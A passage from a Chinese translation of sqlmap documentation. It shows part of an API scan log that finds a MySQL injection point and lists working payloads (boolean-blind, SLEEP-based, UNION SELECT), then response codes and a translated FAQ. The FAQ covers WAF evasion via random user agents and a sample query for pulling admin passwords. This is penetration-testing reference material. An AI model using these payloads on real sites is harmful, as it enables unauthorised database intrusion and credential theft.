            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "target URL appears to have 3 columns in query",
            "level": "INFO",
            "time": "12:48:23"
        },
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) -
1 to 20 columns' injectable",
            "level": "INFO",
            "time": "12:48:24"
        },
        {
            "message": "the back-end DBMS is MySQL",
            "level": "INFO",
            "time": "12:48:24"
        },
        {
            "message": "fetching banner",
            "level": "INFO",
            "time": "12:48:24"
        }
    ],
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1,
            "type": 0,
            "value": [
                {
                    "dbms": "MySQL",
                    "suffix": "",
                    "clause": [
                        1,
                        9
                    ],
                    "notes": [],
                    "ptype": 1,
                    "dbms_version": [
                        ">= 5.0.12"
                    ],
                    "prefix": "",
                    "place": "GET",
                    "os": null,
                    "conf": {
                        "code": null,
                        "string": "hac",
                        "notString": null,
                        "titles": false,
                        "regexp": null,
                        "textOnly": false,
                        "optimize": false
                    },
                    "parameter": "artist",
                    "data": {
                        "1": {
                            "comment": "",
                            "matchRatio": 0.85,
                            "trueCode": 200,
                            "title": "AND boolean-based blind - WHERE or HAVING
clause",
                            "templatePayload": null,
                            "vector": "AND [INFERENCE]",
                            "falseCode": 200,
                            "where": 1,
                            "payload": "artist=1 AND 2794=2794"
                        },
                        "5": {
                            "comment": "",
                            "matchRatio": 0.85,
                            "trueCode": 200,
                            "title": "MySQL >= 5.0.12 AND time-based blind",
                            "templatePayload": null,
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])",
                            "falseCode": null,
                            "where": 1,
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        },
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]",
                            "matchRatio": 0.85,
                            "trueCode": null,
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns",
                            "templatePayload": null,
                            "vector": [
                                2,
                                3,
                                "[GENERIC_SQL_COMMENT]",
                                "",
                                "",
                                "NULL",
                                2,
                                false,
                                false
                            ],
                            "falseCode": null,
                            "where": 2,
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        },
        {
            "status": 1,
            "type": 2,
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ],
    "success": true,
    "error": []
}
api (a42ddaef02e976f0)> exit
$

General codes used in response JSON data:

响应中的 JSON 数据通用码:

  • status:
0 - in progress
1 - complete
  • type:
0 - target
1 - techniques
2 - dbms_fingerprint
3 - banner
4 - current_user
5 - current_db
6 - hostname
7 - is_dba
8 - users
9 - passwords
10 - privileges
11 - roles
12 - dbs
13 - tables
14 - columns
15 - schema
16 - count
17 - dump_table
18 - search
19 - sql_query
20 - common_tables
21 - common_columns
22 - file_read
23 - file_write
24 - os_cmd
25 - reg_read
26 - statements
  • returncode
null - still running
0 - ended gracefully
1 - general error occurred
255 - unhandled exception

sqlmap常见问题及答案

译自:FAQ

什么是 sqlmap?

sqlmap 是一款开源渗透测试工具,它能自动检测并利用 SQL 注入漏洞和接管数据库服务器。它具有强大的检测引擎、许多适用于最终渗透测试阶段的特色功能以及范围广泛的开关,涵盖了数据库指纹识别、从数据库获取数据、访问底层文件系统以及通过带内连接在操作系统上执行命令。

如何运行 sqlmap?

如果是在 UNIX/Linux 上,请在终端中输入以下命令:

python sqlmap.py -h

你还可以输入以下命令以查看详细的帮助信息:

python sqlmap.py -hh

如果是在 Windows 系统上,请在终端中输入以下命令:

C:\PythonXX\python.exe sqlmap.py -h

C:\PythonXXPython 的安装路径,Python 的版本应满足 2.6, 2.73.x

我可以将 sqlmap 集成到我正在开发的安全工具中吗?

可以。sqlmap 遵照 GPLv2 发布,这意味着任何的衍生作品不能使用比通用公共许可证本身更严格的协议发布。

我可以将 sqlmap 嵌入到专有软件中吗?

如果你希望在专有软件中嵌入 sqlmap 技术,请遵照我们使用的另一个许可证(联系 [email protected])。

如何报告 bugs 或请求新特性?

欢迎报告 Bug! 请在 issue tracker 报告所有 bugs,或者发送到邮件列表

指引:

  • 在提交错误报告之前,请先查找开放和已关闭的 issues,确保是未被报告过的问题。此外,请查看用户手册以获取任何相关内容。
  • 确保该错误可以在 sqlmap 的最新开发版本中重现。
  • 你的报告应提供如何重现问题的详细说明。如果 sqlmap 抛出未处理异常,则需要错误回溯信息。也欢迎报告非预期行为的细节。最好是提供一个简单的测试用例(几行)。
  • 如果你正提出功能增强请求,请列出你请求该功能的理由。为什么这个功能会很有用?
  • 如果你不确定某些情况是否为 bug,或者想在发出功能增强请求之前讨论某个潜在的新功能,那么邮件列表会是一个很好的地方。

我能时常参与开发吗?

非常感谢所有的代码贡献。首先,克隆 Git 仓库,并仔细地阅读用户手册,尝试自己阅读源码,如果你在把握 sqlmap 的架构和意义时出现困难,请给我们发邮件。我们为不充分的代码注释感到抱歉——你可以通读它并改进它

我们首选的提交补丁方法是通过 Git pull request。许多以不同的方式为 sqlmap 开发做出了贡献。可以是下一个!

为了保持所有代码的一致性和可读性,我们希望你遵守以下说明:

  • 每个补丁有一个逻辑修改。
  • 尽可能使代码保持每行不超过 76 列。
  • 避免使用制表符,使用四个空格代替。
  • 在你花时间在一个重大补丁之前,值得在邮件列表中或者私下发送邮件讨论它。
  • 不要在一次 pull request 中改变多个文件的代码风格,我们可以在进行任何重大修改之前讨论,但请注意,不被 PEP 8 强烈建议的个人偏好很可能会被拒绝。
  • 在每次 pull request 中对少于五个文件进行更改——很少有好的理由在一次 pull request 中修改五个以上的文件,因为这大大增加了落实(提交)这些 pull requests 所需的审阅时间。
  • 与 master 分支相差太多的风格将被开发者进行适当“调整”。
  • 不要对 thirdparty/extra/ 目录中的任何内容进行修改。

通过向 sqlmap 开发人员、邮件列表或通过 Git pull request 贡献代码,将它们收入sqlmap 源代码仓库,你需要了解(除非另有说明)的是这代表你提供给了 sqlmap 项目无限制、非独占的权利来对它进行重用、修改和再次授权。虽然 sqlmap 会一直保持开源,但这很重要,因为无法重新授权代码已经为其他自由软件项目(如 KDE 和 NASM)带来了毁灭性的问题。如果你想为你的贡献指定特殊的许可条件,请在发送时说明。

我可以参与到长期的开发活动中吗?

我们一直在寻求能够编写高质量 Python 代码、想要做安全研究,懂 Web 应用安全、数据库访问和接管、软件重构并且积极想加入开发团队的人。

如果你对此感兴趣,请向我们发起 pull requests——我们对主仓库的推送权限保持开放讨论,如果你能证明自己的专业性、积极性和编写合格 Python 代码的能力。

我该如何支持、感谢项目的开发活动?

sqlmap 是由一个计算机安全爱好者组成的小团队投入大量时间与热情凝结而成的。如果你欣赏我们的工作,并且希望 sqlmap 能够持续改进,可以考虑通过 PayPal[email protected] 发起一次捐赠。

我该如何跟进开发活动?

随着开发时间的推移,我们倾向于维护我们的 Twitter 主页,@sqlmap。我们会比邮件列表更频繁地更新它。因此,如果你希望近距离了解开发活动,你可以:

你能帮我黑掉一个网站吗?

不能

工具 xyz 对目标有用而 sqlmap 不行!

请使用其他工具。

哪个篡改脚本可以用来绕过(WAF/IPS)保护?

如果你无法手动评估目标,请勿使用篡改脚本。篡改脚本仅在渗透测试人员首先(最可能是在几个小时的请求/响应检查之后)了解如何绕过防护的情况下使用。在不充分理解的情况下盲目使用和组合多种篡改脚本总是一个坏主意。

我的网站被 sqlmap 攻击了。别再开发它了王八蛋!?

我们偶尔会收到不明人士的愤怒。应该强调的是,以下提示消息,每次运行 sqlmap 的终端用户都负有义务

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent
is illegal. It is the end user's responsibility to obey all applicable local, state and
federal laws. Developers assume no liability and are not responsible for any misuse or
damage caused by this program

sqlmap 什么时候会切换到 Python 3?

目前,sqlmap 项目没有切换到新版本 Python 解释器的需要,因为转换过程对于较大的项目可能很麻烦(由于向后的不兼容性)。Python 版本的切换是早晚的事情,但目前它是一个优先级非常低的任务

已于 2019 年五月同时支持 Python 2 与 3。

如何缩短 sqlmap 注入的 payloads?

你可以使用 sqlmap 的以下开关:

--no-cast           关闭 payload 构造机制

然而另一方面,你可能会失去此开关在默认配置中提供的好处。

WARNING unknown charset '...' 是什么意思?

sqlmap 需要正确解码页面内容才能正确检测和处理国际化字符。在某些情况下,Web 开发人员在声明网页字符编码时犯错(例如:使用了 iso_8859 而不是标准化名称 iso-8859),这会导致问题的出现。作为一个故障安全机制,我们已经引入了启发式检测引擎 chardet,所以在大多数情况下,sqlmap 会自动处理这种问题。

不过,强烈建议你向我们报告这些打印错误,以便我们可以在代码中手动处理这些错误。

问题: #1 #2 #3

如何使用 sqlmap 并开启 mod_rewrite

在 sqlmap 应该检查有无注入点的 URI 的对应位置加入星号,即 *。例如,对于 ./sqlmap.py -u "http://target.tld/id1/1*/id2/2",sqlmap 会在标注了 * 号的地方尝试注入 payloads。

此功能也适用于 POST 数据。支持多个注入点,并会依次对这些注入点进行评估。

选项: #1 #2 #3

为什么 sqlmap 有时无法获取密码哈希?

会话用户很有可能没有足够的权限来对包含密码哈希的系统表进行查询。

问题: #1

开关 --text-only 是干嘛用的?

开关 --text-only 用来移除所获取页面中的非文本数据(标签、JavaScript 代码,样式等),以进一步提高 SQL 注入检测功能。

问题: #1

我收到了 [CRITICAL] connection timed 的提示,但是我能正常地浏览那个网站?

有些 WAF/IPS 根据 sqlmap 的默认 User-Agent HTTP 头部(例如:User-agent: sqlmap/1.0-dev)将 sqlmap 发出的所有请求过滤掉。为了避免这种情况,建议你使用 --random-agent 开关。

如果你对所有目标都收到了这类提示消息,那你很可能需要重新设置下你的代理(开关:--proxy 和/或 --ignore-proxy)。

问题: #1

可以通过 --sql-query--sql-shell--sql-file 使用 SQL 的 INSERT/UPDATE 命令吗?

当目标应用程序存在堆叠查询(Stacked queries) SQL 注入漏洞,或者使用 -d 开关直接连接到数据库,并且会话用户具有相应的权限(或提权工具已经被预先注入),便可以在目标数据库上运行这些语句以及任何其他语句。

问题: #1

为什么 sqlmap 不能检测/利用注入而其他商业工具能?

在大多数这些情况中,商业工具检测使用公然的错误信息导致假阳性结果。你必须注意的是,DBMS 错误消息并不意味着受影响的 Web 应用程序容易受到 SQL 注入攻击。sqlmap 会进一步执行几个步骤,并且从来不会在没有通过测试时通报一个注入点,如果它在一开始就可以被利用。

问题: #1

如何基于我的条件导出数据表的特定条目?

sqlmap 在从表中导出数据条目方面非常细致。相关开关为:

--dump              导出 DBMS 数据库表项
-D DB               指定要枚举的 DBMS 数据库
-T TBL              指定要枚举的 DBMS 数据表
-C COL              指定要枚举的 DBMS 数据列
--start=LIMITSTART  指定获取返回查询结果的开始行数
--stop=LIMITSTOP    指定获取返回查询结果的结束行数
--first=FIRSTCHAR   指定获取返回查询结果的开始字符位
--last=LASTCHAR     指定获取返回查询结果的结束字符位

但是,在某些情况下,你可能需要使用自定义的 WHERE 条件语句来导出所有数据条目。对于这种情况,我们建议你使用以下的开关:

--sql-query=QUERY   指定要执行的 SQL 语句
--sql-shell         调出交互式 SQL shell
--sql-file=SQLFILE  执行文件中的 SQL 语句

例如:

--sql-query "SELECT user, password FROM users WHERE privilege='admin'"

问题: #1

哪里可以找到旧版本的 sqlmap?

在 GitHub 的标签页面中。

问题: #1

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注